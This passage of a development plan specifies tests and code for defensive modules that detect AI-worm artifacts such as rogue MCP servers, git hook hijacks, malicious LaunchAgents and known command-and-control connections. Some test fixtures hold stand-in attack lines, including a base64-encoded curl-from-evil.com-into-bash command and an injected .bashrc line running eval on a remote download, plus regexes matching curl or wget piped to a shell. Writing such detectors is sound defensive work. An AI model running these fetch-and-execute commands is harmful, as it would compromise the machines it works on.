"https://socket.dev/blog/shai-hulud-npm-worm" + }, + { + "name": "scan_dependencies", + "threat": "sandworm_mode", + "severity": "critical", + "description": "Rogue MCP server injected by SANDWORM_MODE — poses as dependency scanner", + "source": "https://socket.dev/blog/shai-hulud-npm-worm" + } + ] +} +``` + +- [ ] **Step 5: Run tests to verify they pass** + +Run: `python -m pytest tests/test_ioc_loader.py -v` +Expected: All 6 tests PASS + +- [ ] **Step 6: Commit** + +```bash +git add modules/security/ai_worm_iocs/ tests/test_ioc_loader.py +git commit -m "feat: add shared IOC database and loader for AI worm detection" +``` + +--- + +### Task 2: `ai_worm_filesystem` Module + +**Files:** +- Create: `modules/security/ai_worm_filesystem/__init__.py` +- Create: `tests/test_module_ai_worm_filesystem.py` + +**Interfaces:** +- Consumes: `load_iocs()` from Task 1 — uses `iocs.paths` for known payload locations, `iocs.hashes` for SHA256 matching +- Produces: `Module` class with `name = "ai_worm_filesystem"`, `check()` returning findings with `data["confidence"]` field, `fix()` that only acts on `confidence == "high"` + +- [ ] **Step 1: Write the failing tests** + +```python +# tests/test_module_ai_worm_filesystem.py +import sys +import os +import hashlib +from pathlib import Path +from unittest.mock import patch, MagicMock + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from rescue.models import SystemProfile, Platform, Severity, RiskLevel, Mode +from rescue.registry import discover_modules + + +def _make_profile(platform=Platform.DARWIN): + return SystemProfile( + platform=platform, + os_name="macOS", + os_version="15.2", + architecture="arm64", + cpu_model="Apple M2", + cpu_cores=8, + ram_bytes=16 * 1024**3, + ) + + +def _get_module(): + modules_dir = Path(__file__).parent.parent / "modules" + modules = discover_modules(modules_dir) + return next(m for m in modules if m.name == "ai_worm_filesystem") + + +def test_module_discovered(): + mod = _get_module() + assert mod.name == "ai_worm_filesystem" + assert mod.category == "security" + assert mod.risk_level == RiskLevel.MODERATE + assert Platform.DARWIN in mod.platforms + assert Platform.LINUX in mod.platforms + assert Platform.WIN32 in mod.platforms + + +def test_clean_system_no_findings(): + mod = _get_module() + with patch("subprocess.run") as mock_run: + mock_run.return_value = MagicMock(stdout="", returncode=0) + with patch.object(Path, "exists", return_value=False): + with patch.object(Path, "is_file", return_value=False): + result = mod.check(_make_profile()) + assert not result.has_issues + + +def test_detects_known_payload_path(): + """When a file exists at a known IOC path, flag it as critical/high-confidence.""" + mod = _get_module() + + def mock_exists(self): + return str(self).endswith("index.js") and ".config" in str(self) + + def mock_is_file(self): + return mock_exists(self) + + with patch("subprocess.run") as mock_run: + mock_run.return_value = MagicMock(stdout="", returncode=0) + with patch.object(Path, "exists", mock_exists): + with patch.object(Path, "is_file", mock_is_file): + with patch.object(Path, "expanduser", lambda self: self): + result = mod.check(_make_profile()) + + payload_findings = [ + f for f in result.findings if f.data.get("check") == "known_payload_path" + ] + assert len(payload_findings) > 0 + assert payload_findings[0].severity == Severity.CRITICAL + assert payload_findings[0].data["confidence"] == "high" + + +def test_detects_obfuscated_script(): + """Detect scripts with suspicious eval/exec + base64 patterns.""" + mod = _get_module() + + suspicious_content = """ +import base64 +exec(base64.b64decode('aW1wb3J0IG9zOyBvcy5zeXN0ZW0oImN1cmwgaHR0cHM6Ly9ldmlsLmNvbS9wYXlsb2FkIHwgYmFzaCIp')) +""" + + with patch("subprocess.run") as mock_run: + mock_run.return_value = MagicMock(stdout="", returncode=0) + with patch.object(Path, "exists", return_value=False): + with patch.object(Path, "is_file", return_value=False): + # Mock the heuristic scanning to find our suspicious file + with patch.object( + mod, + "_scan_for_obfuscated_scripts", + return_value=[ + { + "path": "/tmp/evil.py", + "pattern": "exec(base64.b64decode(", + } + ], + ): + result = mod.check(_make_profile()) + + obfuscated = [ + f for f in result.findings if f.data.get("check") == "obfuscated_script" + ] + assert len(obfuscated) > 0 + assert obfuscated[0].data["confidence"] == "medium" + + +def test_fix_only_acts_on_high_confidence(): + """fix() should skip findings with confidence != high.""" + mod = _get_module() + + from rescue.models import CheckResult, Finding + + check = CheckResult( + module_name="ai_worm_filesystem", + findings=[ + Finding( + title="Known payload", + description="Found payload", + severity=Severity.CRITICAL, + category="security", + data={ + "check": "known_payload_path", + "confidence": "high", + "path": "/tmp/evil.js", + }, + ), + Finding( + title="Suspicious script", + description="Obfuscated", + severity=Severity.WARNING, + category="security", + data={ + "check": "obfuscated_script", + "confidence": "medium", + "path": "/tmp/maybe.py", + }, + ), + ], + ) + + with patch("subprocess.run") as mock_run: + mock_run.return_value = MagicMock(returncode=0) + with patch("shutil.move"): + fix = mod.fix(check, Mode.MANUAL) + + # Only the high-confidence finding should get an action + remediation_actions = [a for a in fix.actions if "quarantine" in a.title.lower()] + info_actions = [a for a in fix.actions if "investigate" in a.title.lower()] + assert len(remediation_actions) <= 1 + assert len(info_actions) >= 1 + + +def test_subprocess_timeout_handled(): + mod = _get_module() + + import subprocess as sp + + with patch("subprocess.run", side_effect=sp.TimeoutExpired("cmd", 5)): + with patch.object(Path, "exists", return_value=False): + with patch.object(Path, "is_file", return_value=False): + result = mod.check(_make_profile()) + assert not result.has_issues +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `python -m pytest tests/test_module_ai_worm_filesystem.py -v` +Expected: FAIL — module not found + +- [ ] **Step 3: Write the module implementation** + +```python +# modules/security/ai_worm_filesystem/__init__.py +import hashlib +import os +import re +import shutil +import subprocess +from pathlib import Path + +from rescue.models import ( + Action, + CheckResult, + Finding, + FixResult, + Mode, + Platform, + RiskLevel, + Severity, + SystemProfile, +) +from rescue.module_base import ModuleBase + +_OBFUSCATION_PATTERNS = [ + re.compile(r"exec\s*\(\s*base64\.b64decode\s*\("), + re.compile(r"eval\s*\(\s*atob\s*\("), + re.compile(r"eval\s*\(\s*Buffer\.from\s*\(.*,\s*['\"]base64['\"]\s*\)"), + re.compile(r"exec\s*\(\s*compile\s*\(\s*base64\."), + re.compile(r"curl\s+[^\n]*\|\s*(bash|sh|zsh|python|node)"), + re.compile(r"wget\s+[^\n]*\|\s*(bash|sh|zsh|python|node)"), + re.compile(r"wget\s+-O\s*-\s+[^\n]*\|\s*(bash|sh|zsh|python|node)"), +] + +_SCRIPT_EXTENSIONS = {".py", ".js", ".mjs", ".sh", ".bash", ".zsh", ".ps1", ".ts"} + +_SCAN_DIRS_UNIX = [ + "~/.local/bin", + "~/.config", + "~/.cache", + "/tmp", + "/var/tmp", +] + +_SCAN_DIRS_WIN = [ + "%TEMP%", + "%APPDATA%", + "%LOCALAPPDATA%", +] + + +class Module(ModuleBase): + name = "ai_worm_filesystem" + category = "security" + platforms = [Platform.DARWIN, Platform.LINUX, Platform.WIN32] + risk_level = RiskLevel.MODERATE + priority = 55 + depends_on = [] + estimated_duration = "10s" + + def check(self, profile: SystemProfile) -> CheckResult: + findings = [] + findings.extend(self._check_known_payload_paths(profile)) + findings.extend(self._check_known_hashes(profile)) + findings.extend(self._check_obfuscated_scripts(profile)) + return CheckResult(module_name=self.name, findings=findings) + + def fix(self, findings: CheckResult, mode: Mode) -> FixResult: + actions = [] + quarantine_dir = Path.home() / ".rescue_quarantine" + + for finding in findings.findings: + confidence = finding.data.get("confidence", "low") + file_path = finding.data.get("path") + + if confidence == "high" and file_path: + quarantine_dir.mkdir(parents=True, exist_ok=True) + src = Path(file_path) + dest = quarantine_dir / src.name + try: + if src.exists(): + shutil.move(str(src), str(dest)) + actions.append( + Action( + title=f"Quarantine: {src.name}", + description=f"Moved {src} to {dest}", + risk_level=RiskLevel.MODERATE, + success=True, + ) + ) + else: + actions.append( + Action( + title=f"Quarantine: {src.name}", + description=f"File already removed: {src}", + risk_level=RiskLevel.SAFE, + success=True, + ) + ) + except OSError as e: + actions.append( + Action( + title=f"Quarantine: {src.name}", + description=f"Failed to quarantine {src}", + risk_level=RiskLevel.MODERATE, + success=False, + error=str(e), + ) + ) + else: + actions.append( + Action( + title=f"Investigate: {finding.title}", + description=( + f"Manual investigation recommended. " + f"Confidence: {confidence}. {finding.description}" + ), + risk_level=RiskLevel.SAFE, + success=True, + ) + ) + + return FixResult(module_name=self.name, actions=actions) + + def _check_known_payload_paths(self, profile: SystemProfile) -> list[Finding]: + findings = [] + try: + from modules.security.ai_worm_iocs.loader import load_iocs + + iocs = load_iocs() + except Exception: + return findings + + platform_str = profile.platform.value + for entry in iocs.paths: + if platform_str not in entry.platforms: + continue + expanded = Path(entry.path).expanduser() + try: + if expanded.is_file(): + findings.append( + Finding( + title=f"Known {entry.threat} artifact: {expanded.name}", + description=entry.description, + severity=Severity.CRITICAL, + category=self.category, + data={ + "check": "known_payload_path", + "confidence": "high", + "path": str(expanded), + "threat": entry.threat, + "ioc_type": entry.type, + }, + ) + ) + except OSError: + continue + + return findings + + def _check_known_hashes(self, profile: SystemProfile) -> list[Finding]: + findings = [] + try: + from modules.security.ai_worm_iocs.loader import load_iocs + + iocs = load_iocs() + except Exception: + return findings + + if not iocs.hashes: + return findings + + platform_str = profile.platform.value + for entry in iocs.paths: + if platform_str not in entry.platforms: + continue + expanded = Path(entry.path).expanduser() + try: + if expanded.is_file() and expanded.stat().st_size < 10 * 1024 * 1024: + sha = hashlib.sha256(expanded.read_bytes()).hexdigest() + if sha in iocs.hashes: + h = iocs.hashes[sha] + findings.append( + Finding( + title=f"Known malicious file: {h.name or expanded.name}", + description=h.description, + severity=Severity.CRITICAL, + category=self.category, + data={ + "check": "known_hash_match", + "confidence": "high", + "path": str(expanded), + "sha256": sha, + "threat": h.threat, + }, + ) + ) + except OSError: + continue + + return findings + + def _check_obfuscated_scripts(self, profile: SystemProfile) -> list[Finding]: + findings = [] + scan_results = self._scan_for_obfuscated_scripts(profile) + for result in scan_results: + findings.append( + Finding( + title=f"Obfuscated script: {Path(result['path']).name}", + description=( + f"Script at {result['path']} contains suspicious pattern: " + f"{result['pattern'][:80]}" + ), + severity=Severity.WARNING, + category=self.category, + data={ + "check": "obfuscated_script", + "confidence": "medium", + "path": result["path"], + "pattern": result["pattern"], + }, + ) + ) + return findings + + def _scan_for_obfuscated_scripts( + self, profile: SystemProfile + ) -> list[dict[str, str]]: + results = [] + if profile.platform == Platform.WIN32: + scan_dirs = [os.path.expandvars(d) for d in _SCAN_DIRS_WIN] + else: + scan_dirs = [str(Path(d).expanduser()) for d in _SCAN_DIRS_UNIX] + + for dir_path in scan_dirs: + d = Path(dir_path) + if not d.exists(): + continue + try: + for f in d.rglob("*"): + if not f.is_file(): + continue + if f.suffix not in _SCRIPT_EXTENSIONS: + continue + try: + if f.stat().st_size > 1 * 1024 * 1024: + continue + content = f.read_text(encoding="utf-8", errors="ignore") + for pat in _OBFUSCATION_PATTERNS: + match = pat.search(content) + if match: + results.append( + { + "path": str(f), + "pattern": match.group(0), + } + ) + break + except OSError: + continue + except OSError: + continue + + return results +``` + +- [ ] **Step 4: Run tests to verify they pass** + +Run: `python -m pytest tests/test_module_ai_worm_filesystem.py -v` +Expected: All tests PASS + +- [ ] **Step 5: Commit** + +```bash +git add modules/security/ai_worm_filesystem/ tests/test_module_ai_worm_filesystem.py +git commit -m "feat: add ai_worm_filesystem module for payload and obfuscation detection" +``` + +--- + +### Task 3: `ai_worm_git_ssh` Module + +**Files:** +- Create: `modules/security/ai_worm_git_ssh/__init__.py` +- Create: `tests/test_module_ai_worm_git_ssh.py` + +**Interfaces:** +- Consumes: `load_iocs()` from Task 1 — uses `iocs.git_patterns`, `iocs.mcp_servers`, `iocs.paths` (for hook/config paths) +- Produces: `Module` class with `name = "ai_worm_git_ssh"`, standard `check()`/`fix()` interface + +- [ ] **Step 1: Write the failing tests** + +```python +# tests/test_module_ai_worm_git_ssh.py +import sys +import os +from pathlib import Path +from unittest.mock import patch, MagicMock + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from rescue.models import SystemProfile, Platform, Severity, RiskLevel, Mode +from rescue.registry import discover_modules + + +def _make_profile(platform=Platform.DARWIN): + return SystemProfile( + platform=platform, + os_name="macOS", + os_version="15.2", + architecture="arm64", + cpu_model="Apple M2", + cpu_cores=8, + ram_bytes=16 * 1024**3, + ) + + +def _get_module(): + modules_dir = Path(__file__).parent.parent / "modules" + modules = discover_modules(modules_dir) + return next(m for m in modules if m.name == "ai_worm_git_ssh") + + +def test_module_discovered(): + mod = _get_module() + assert mod.name == "ai_worm_git_ssh" + assert mod.category == "security" + assert mod.risk_level == RiskLevel.MODERATE + assert Platform.DARWIN in mod.platforms + + +def test_clean_system_no_findings(): + mod = _get_module() + with patch("subprocess.run") as mock_run: + mock_run.return_value = MagicMock(stdout="", returncode=1) + with patch.object(Path, "exists", return_value=False): + with patch.object(Path, "is_file", return_value=False): + result = mod.check(_make_profile()) + assert not result.has_issues + + +def test_detects_git_hookspath_hijack(): + """Detect when core.hooksPath is set to a non-standard location.""" + mod = _get_module() + + def run_side_effect(cmd, **kwargs): + mock = MagicMock() + if "core.hooksPath" in cmd: + mock.stdout = "/tmp/.hidden/hooks\n" + mock.returncode = 0 + else: + mock.stdout = "" + mock.returncode = 1 + return mock + + with patch("subprocess.run", side_effect=run_side_effect): + with patch.object(Path, "exists", return_value=False): + with patch.object(Path, "is_file", return_value=False): + result = mod.check(_make_profile()) + + hookspath_findings = [ + f for f in result.findings if f.data.get("check") == "git_hookspath_hijack" + ] + assert len(hookspath_findings) > 0 + assert hookspath_findings[0].severity == Severity.CRITICAL + assert hookspath_findings[0].data["confidence"] == "high" + + +def test_detects_git_templatedir_hijack(): + """Detect when init.templateDir is set to a non-standard location.""" + mod = _get_module() + + def run_side_effect(cmd, **kwargs): + mock = MagicMock() + if "init.templateDir" in cmd: + mock.stdout = "/tmp/.hidden/template\n" + mock.returncode = 0 + else: + mock.stdout = "" + mock.returncode = 1 + return mock + + with patch("subprocess.run", side_effect=run_side_effect): + with patch.object(Path, "exists", return_value=False): + with patch.object(Path, "is_file", return_value=False): + result = mod.check(_make_profile()) + + template_findings = [ + f for f in result.findings if f.data.get("check") == "git_templatedir_hijack" + ] + assert len(template_findings) > 0 + assert template_findings[0].data["confidence"] == "high" + + +def test_detects_npmrc_git_node_override(): + """Detect .npmrc containing git=node override.""" + mod = _get_module() + + npmrc_content = "git=node\nregistry=https://registry.npmjs.org/\n" + + with patch("subprocess.run") as mock_run: + mock_run.return_value = MagicMock(stdout="", returncode=1) + with patch.object(Path, "exists", return_value=False): + with patch.object(Path, "is_file", return_value=False): + with patch.object( + mod, + "_check_npmrc_override", + return_value=[ + { + "path": str(Path.home() / ".npmrc"), + "line": "git=node", + } + ], + ): + result = mod.check(_make_profile()) + + npmrc_findings = [ + f for f in result.findings if f.data.get("check") == "npmrc_git_override" + ] + assert len(npmrc_findings) > 0 + assert npmrc_findings[0].data["confidence"] == "high" + + +def test_detects_rogue_mcp_server(): + """Detect known malicious MCP server names in AI tool configs.""" + mod = _get_module() + + import json + + claude_settings = json.dumps( + {"mcpServers": {"index_project": {"command": "node", "args": ["evil.js"]}}} + ) + + with patch("subprocess.run") as mock_run: + mock_run.return_value = MagicMock(stdout="", returncode=1) + with patch.object(Path, "exists", return_value=False): + with patch.object(Path, "is_file", return_value=False): + with patch.object( + mod, + "_check_mcp_configs", + return_value=[ + { + "config_path": "~/.claude/settings.json", + "server_name": "index_project", + "threat": "sandworm_mode", + } + ], + ): + result = mod.check(_make_profile()) + + mcp_findings = [ + f for f in result.findings if f.data.get("check") == "rogue_mcp_server" + ] + assert len(mcp_findings) > 0 + assert mcp_findings[0].severity == Severity.CRITICAL + assert mcp_findings[0].data["confidence"] == "high" + + +def test_fix_resets_hookspath(): + """fix() should offer to reset core.hooksPath on high-confidence findings.""" + mod = _get_module() + from rescue.models import CheckResult, Finding + + check = CheckResult( + module_name="ai_worm_git_ssh", + findings=[ + Finding( + title="Git hooksPath hijacked", + description="core.hooksPath set to /tmp/.hidden/hooks", + severity=Severity.CRITICAL, + category="security", + data={ + "check": "git_hookspath_hijack", + "confidence": "high", + "value": "/tmp/.hidden/hooks", + }, + ), + ], + ) + + with patch("subprocess.run") as mock_run: + mock_run.return_value = MagicMock(returncode=0) + fix = mod.fix(check, Mode.MANUAL) + + assert len(fix.actions) > 0 + assert fix.actions[0].success + + +def test_subprocess_timeout_handled(): + mod = _get_module() + import subprocess as sp + + with patch("subprocess.run", side_effect=sp.TimeoutExpired("cmd", 5)): + with patch.object(Path, "exists", return_value=False): + with patch.object(Path, "is_file", return_value=False): + result = mod.check(_make_profile()) + assert not result.has_issues +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `python -m pytest tests/test_module_ai_worm_git_ssh.py -v` +Expected: FAIL — module not found + +- [ ] **Step 3: Write the module implementation** + +Implement `modules/security/ai_worm_git_ssh/__init__.py` with the following check methods: +- `_check_git_global_config()`: Run `git config --global core.hooksPath` and `git config --global init.templateDir`, flag non-standard values as `confidence: "high"` +- `_check_npmrc_override()`: Read `~/.npmrc` and any `.npmrc` in current/parent dirs, search for `git=node` line +- `_check_mcp_configs()`: Read `~/.claude/settings.json`, `~/.cursor/mcp.json`, `~/.continue/config.json`, parse JSON, check `mcpServers` keys against `iocs.mcp_servers` +- `_check_repo_hooks()`: Scan for `.claude/setup.mjs`, `.cursor/rules/setup.mdc`, `.vscode/tasks.json`, `.github/setup.js` in the current directory and common project directories +- `_check_ssh_authorized_keys()`: Read `~/.ssh/authorized_keys`, flag keys added within the last 7 days (based on file mtime — `confidence: "low"` as this is a heuristic) + +Fix actions: +- `confidence == "high"`: Reset `core.hooksPath` via `git config --global --unset core.hooksPath`, reset `init.templateDir`, remove rogue MCP entries from config files, remove `.npmrc` `git=node` lines +- `confidence != "high"`: Informational guidance only + +Follow the exact pattern from `ai_worm_filesystem` (Task 2) for the class structure, imports, and error handling. + +- [ ] **Step 4: Run tests to verify they pass** + +Run: `python -m pytest tests/test_module_ai_worm_git_ssh.py -v` +Expected: All tests PASS + +- [ ] **Step 5: Commit** + +```bash +git add modules/security/ai_worm_git_ssh/ tests/test_module_ai_worm_git_ssh.py +git commit -m "feat: add ai_worm_git_ssh module for git hook and MCP config detection" +``` + +--- + +### Task 4: `ai_worm_persistence` Module + +**Files:** +- Create: `modules/security/ai_worm_persistence/__init__.py` +- Create: `tests/test_module_ai_worm_persistence.py` + +**Interfaces:** +- Consumes: `load_iocs()` from Task 1 — uses `iocs.paths` for known persistence locations +- Produces: `Module` class with `name = "ai_worm_persistence"`, `risk_level = RiskLevel.DESTRUCTIVE` + +- [ ] **Step 1: Write the failing tests** + +```python +# tests/test_module_ai_worm_persistence.py +import sys +import os +from pathlib import Path +from unittest.mock import patch, MagicMock + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from rescue.models import SystemProfile, Platform, Severity, RiskLevel, Mode +from rescue.registry import discover_modules + + +def _make_profile(platform=Platform.DARWIN): + return SystemProfile( + platform=platform, + os_name="macOS", + os_version="15.2", + architecture="arm64", + cpu_model="Apple M2", + cpu_cores=8, + ram_bytes=16 * 1024**3, + ) + + +def _get_module(): + modules_dir = Path(__file__).parent.parent / "modules" + modules = discover_modules(modules_dir) + return next(m for m in modules if m.name == "ai_worm_persistence") + + +def test_module_discovered(): + mod = _get_module() + assert mod.name == "ai_worm_persistence" + assert mod.category == "security" + assert mod.risk_level == RiskLevel.DESTRUCTIVE + assert Platform.DARWIN in mod.platforms + + +def test_clean_system_no_findings(): + mod = _get_module() + with patch("subprocess.run") as mock_run: + mock_run.return_value = MagicMock(stdout="", returncode=0) + with patch.object(Path, "exists", return_value=False): + with patch.object(Path, "is_file", return_value=False): + with patch.object(Path, "glob", return_value=[]): + result = mod.check(_make_profile()) + assert not result.has_issues + + +def test_detects_known_malicious_launchagent(): + """Detect Miasma's gh-token-monitor LaunchAgent.""" + mod = _get_module() + + plist_path = Path.home() / "Library" / "LaunchAgents" / "com.user.gh-token-monitor.plist" + + with patch("subprocess.run") as mock_run: + mock_run.return_value = MagicMock(stdout="", returncode=0) + with patch.object(Path, "exists") as mock_exists: + mock_exists.side_effect = lambda: True + with patch.object( + mod, + "_check_launchagents_darwin", + return_value=[ + { + "plist": str(plist_path), + "label": "com.user.gh-token-monitor", + "threat": "miasma", + "is_deadman_switch": True, + } + ], + ): + result = mod.check(_make_profile()) + + la_findings = [ + f for f in result.findings if f.data.get("check") == "malicious_launchagent" + ] + assert len(la_findings) > 0 + assert la_findings[0].severity == Severity.CRITICAL + assert la_findings[0].data["confidence"] == "high" + assert la_findings[0].data.get("is_deadman_switch") is True + + +def test_detects_shell_profile_injection(): + """Detect suspicious lines injected into shell profiles.""" + mod = _get_module() + + with patch("subprocess.run") as mock_run: + mock_run.return_value = MagicMock(stdout="", returncode=0) + with patch.object(Path, "exists", return_value=False): + with patch.object( + mod, + "_check_shell_profiles", + return_value=[ + { + "file": "~/.bashrc", + "line": 'eval "$(curl -s https://evil.com/payload)"', + "line_number": 42, + } + ], + ): + result = mod.check(_make_profile()) + + shell_findings = [ + f for f in result.findings if f.data.get("check") == "shell_profile_injection" + ] + assert len(shell_findings) > 0 + assert shell_findings[0].data["confidence"] == "medium" + + +def test_fix_disables_deadman_switch_first(): + """fix() must disable dead-man switch BEFORE other remediation.""" + mod = _get_module() + from rescue.models import CheckResult, Finding + + check = CheckResult( + module_name="ai_worm_persistence", + findings=[ + Finding( + title="Miasma dead-man switch LaunchAgent", + description="gh-token-monitor plist", + severity=Severity.CRITICAL, + category="security", + data={ + "check": "malicious_launchagent", + "confidence": "high", + "plist": str( + Path.home() + / "Library/LaunchAgents/com.user.gh-token-monitor.plist" + ), + "is_deadman_switch": True, + "threat": "miasma", + }, + ), + Finding( + title="Miasma update-monitor LaunchAgent", + description="update-monitor plist", + severity=Severity.CRITICAL, + category="security", + data={ + "check": "malicious_launchagent", + "confidence": "high", + "plist": str( + Path.home() + / "Library/LaunchAgents/com.user.update-monitor.plist" + ), + "is_deadman_switch": False, + "threat": "miasma", + }, + ), + ], + ) + + call_log = [] + + def mock_run(cmd, **kwargs): + call_log.append(cmd) + return MagicMock(returncode=0) + + with patch("subprocess.run", side_effect=mock_run): + with patch("os.remove"): + fix = mod.fix(check, Mode.MANUAL) + + # Dead-man switch actions must come first + assert len(fix.actions) >= 2 + deadman_idx = next( + i for i, a in enumerate(fix.actions) if "dead-man" in a.title.lower() or "deadman" in a.title.lower() + ) + other_idx = next( + i + for i, a in enumerate(fix.actions) + if "update-monitor" in a.title.lower() + ) + assert deadman_idx < other_idx + + +def test_subprocess_timeout_handled(): + mod = _get_module() + import subprocess as sp + + with patch("subprocess.run", side_effect=sp.TimeoutExpired("cmd", 5)): + with patch.object(Path, "exists", return_value=False): + with patch.object(Path, "is_file", return_value=False): + with patch.object(Path, "glob", return_value=[]): + result = mod.check(_make_profile()) + assert not result.has_issues +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `python -m pytest tests/test_module_ai_worm_persistence.py -v` +Expected: FAIL — module not found + +- [ ] **Step 3: Write the module implementation** + +Implement `modules/security/ai_worm_persistence/__init__.py` with: +- `_check_launchagents_darwin()`: Scan `~/Library/LaunchAgents/` for known malicious labels (`com.user.gh-token-monitor`, `com.user.update-monitor`) and heuristic scan for plists referencing `bun`, AI API endpoints, or suspicious programs. Tag `is_deadman_switch: True` for `gh-token-monitor`. +- `_check_systemd_linux()`: Check `~/.config/systemd/user/` for rogue units, check known paths from IOC database. +- `_check_scheduled_tasks_win()`: Run `schtasks /Query /FO CSV` and parse for tasks running scripts from `%TEMP%` or `%APPDATA%`. +- `_check_shell_profiles()`: Read `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`, `~/.profile`, search for `curl|wget` piped to shell, `eval` of encoded strings, sourcing from temp/hidden dirs. `confidence: "medium"` for heuristic matches. +- `_check_sessionstart_hooks()`: Read `~/.claude/settings.json`, check for hooks.SessionStart entries. Only flag as `confidence: "high"` if the hook command matches known malicious patterns from IOC database; otherwise `confidence: "low"` (users legitimately use SessionStart hooks). + +Fix ordering: dead-man switch findings sorted first. Fix implementation: +- Dead-man switch: `launchctl unload ` (macOS) or `systemctl --user stop gh-token-monitor` (Linux), then remove the plist/unit file. Include prominent warning in action description. +- Other persistence: `launchctl unload` + remove plist, `systemctl --user disable` + remove unit, remove injected shell profile lines, remove rogue hooks. +- All actions `RiskLevel.DESTRUCTIVE`, `confidence == "high"` only. + +- [ ] **Step 4: Run tests to verify they pass** + +Run: `python -m pytest tests/test_module_ai_worm_persistence.py -v` +Expected: All tests PASS + +- [ ] **Step 5: Commit** + +```bash +git add modules/security/ai_worm_persistence/ tests/test_module_ai_worm_persistence.py +git commit -m "feat: add ai_worm_persistence module with dead-man switch detection" +``` + +--- + +### Task 5: `ai_worm_network` Module + +**Files:** +- Create: `modules/security/ai_worm_network/__init__.py` +- Create: `tests/test_module_ai_worm_network.py` + +**Interfaces:** +- Consumes: `load_iocs()` from Task 1 — uses `iocs.domains`, `iocs.ips` +- Produces: `Module` class with `name = "ai_worm_network"` + +- [ ] **Step 1: Write the failing tests** + +```python +# tests/test_module_ai_worm_network.py +import sys +import os +from pathlib import Path +from unittest.mock import patch, MagicMock + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from rescue.models import SystemProfile, Platform, Severity, RiskLevel, Mode +from rescue.registry import discover_modules + + +def _make_profile(platform=Platform.DARWIN): + return SystemProfile( + platform=platform, + os_name="macOS", + os_version="15.2", + architecture="arm64", + cpu_model="Apple M2", + cpu_cores=8, + ram_bytes=16 * 1024**3, + ) + + +def _get_module(): + modules_dir = Path(__file__).parent.parent / "modules" + modules = discover_modules(modules_dir) + return next(m for m in modules if m.name == "ai_worm_network") + + +def test_module_discovered(): + mod = _get_module() + assert mod.name == "ai_worm_network" + assert mod.category == "security" + assert mod.risk_level == RiskLevel.MODERATE + + +def test_clean_system_no_findings(): + mod = _get_module() + with patch("subprocess.run") as mock_run: + mock_run.return_value = MagicMock(stdout="", returncode=0) + with patch.object(Path, "exists", return_value=False): + result = mod.check(_make_profile()) + assert not result.has_issues + + +def test_detects_known_malicious_domain_connection(): + """Detect process connecting to known malicious domain.""" + mod = _get_module() + + lsof_output = ( + "COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME\n" + "node 99999 user 10u IPv4 0x1234 0t0 TCP " + "192.168.1.1:50000->cdn.cloudfront-js.com:443 (ESTABLISHED)" + ) + + with patch("subprocess.run") as mock_run: + mock_result = MagicMock() + mock_result.stdout = lsof_output + mock_result.returncode = 0 + + def side_effect(cmd, **kwargs): + if cmd[0] == "lsof": + return mock_result + return MagicMock(stdout="", returncode=0) + + mock_run.side_effect = side_effect + + with patch.object(Path, "exists", return_value=False): + result = mod.check(_make_profile()) + + domain_findings = [ + f for f in result.findings if f.data.get("check") == "known_malicious_connection" + ] + assert len(domain_findings) > 0 + assert domain_findings[0].severity == Severity.CRITICAL + assert domain_findings[0].data["confidence"] == "high" + + +def test_detects_stepsecurity_bypass(): + """Detect /etc/hosts entry redirecting agent.stepsecurity.io.""" + mod = _get_module() + + hosts_content = "127.0.0.1 localhost\n127.0.0.1 agent.stepsecurity.io\n" + + with patch("subprocess.run") as mock_run: + mock_run.return_value = MagicMock(stdout="", returncode=0) + with patch( + "builtins.open", + MagicMock( + return_value=MagicMock( + __enter__=MagicMock( + return_value=MagicMock( + read=MagicMock(return_value=hosts_content) + ) + ), + __exit__=MagicMock(return_value=False), + ) + ), + ): + with patch.object(Path, "exists", return_value=True): + with patch.object( + mod, + "_check_stepsecurity_bypass", + return_value=[{"line": "127.0.0.1 agent.stepsecurity.io"}], + ): + result = mod.check(_make_profile()) + + bypass_findings = [ + f for f in result.findings if f.data.get("check") == "stepsecurity_bypass" + ] + assert len(bypass_findings) > 0 + assert bypass_findings[0].data["confidence"] == "high" + + +def test_detects_beaconing_pattern(): + """Detect processes with regular-interval outbound connections.""" + mod = _get_module() + + with patch("subprocess.run") as mock_run: + mock_run.return_value = MagicMock(stdout="", returncode=0) + with patch.object(Path, "exists", return_value=False): + with patch.object( + mod, + "_check_beaconing", + return_value=[ + { + "process": "gh-token-monitor", + "pid": 12345, + "dest": "api.github.com:443", + "interval_seconds": 60, + } + ], + ): + result = mod.check(_make_profile()) + + beacon_findings = [ + f for f in result.findings if f.data.get("check") == "beaconing_detected" + ] + assert len(beacon_findings) > 0 + assert beacon_findings[0].data["confidence"] == "medium" + + +def test_fix_kills_malicious_connection(): + mod = _get_module() + from rescue.models import CheckResult, Finding + + check = CheckResult( + module_name="ai_worm_network", + findings=[ + Finding( + title="Connection to known C2", + description="node connecting to malicious domain", + severity=Severity.CRITICAL, + category="security", + data={ + "check": "known_malicious_connection", + "confidence": "high", + "pid": 99999, + "process": "node", + }, + ), + ], + ) + + with patch("subprocess.run") as mock_run: + mock_run.return_value = MagicMock(returncode=0) + with patch("os.kill"): + fix = mod.fix(check, Mode.MANUAL) + + assert len(fix.actions) > 0 + assert fix.actions[0].success + + +def test_subprocess_timeout_handled(): + mod = _get_module() + import subprocess as sp + + with patch("subprocess.run", side_effect=sp.TimeoutExpired("cmd", 5)): + with patch.object(Path, "exists", return_value=False): + result = mod.check(_make_profile()) + assert not result.has_issues +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `python -m pytest tests/test_module_ai_worm_network.py -v` +Expected: FAIL — module not found + +- [ ] **Step 3: Write the module implementation** + +Implement `modules/security/ai_worm_network/__init__.py` with: +- `_check_active_connections()`: Run `lsof -i -n -P` (macOS/Linux) or `netstat -b` (Windows), parse output, match against `iocs.domains` and `iocs.ips`. Connections to known malicious infra → `confidence: "high"`. +- `_check_stepsecurity_bypass()`: Read `/etc/hosts`, search for `agent.stepsecurity.io` entries. `confidence: "high"`. +- `_check_beaconing()`: Run `lsof -i -n -P` twice with a 5-second gap, look for processes with identical connections in both samples (suggests periodic polling). `confidence: "medium"`. +- `_check_token_harvesting_subprocess()`: Run `ps aux`, look for 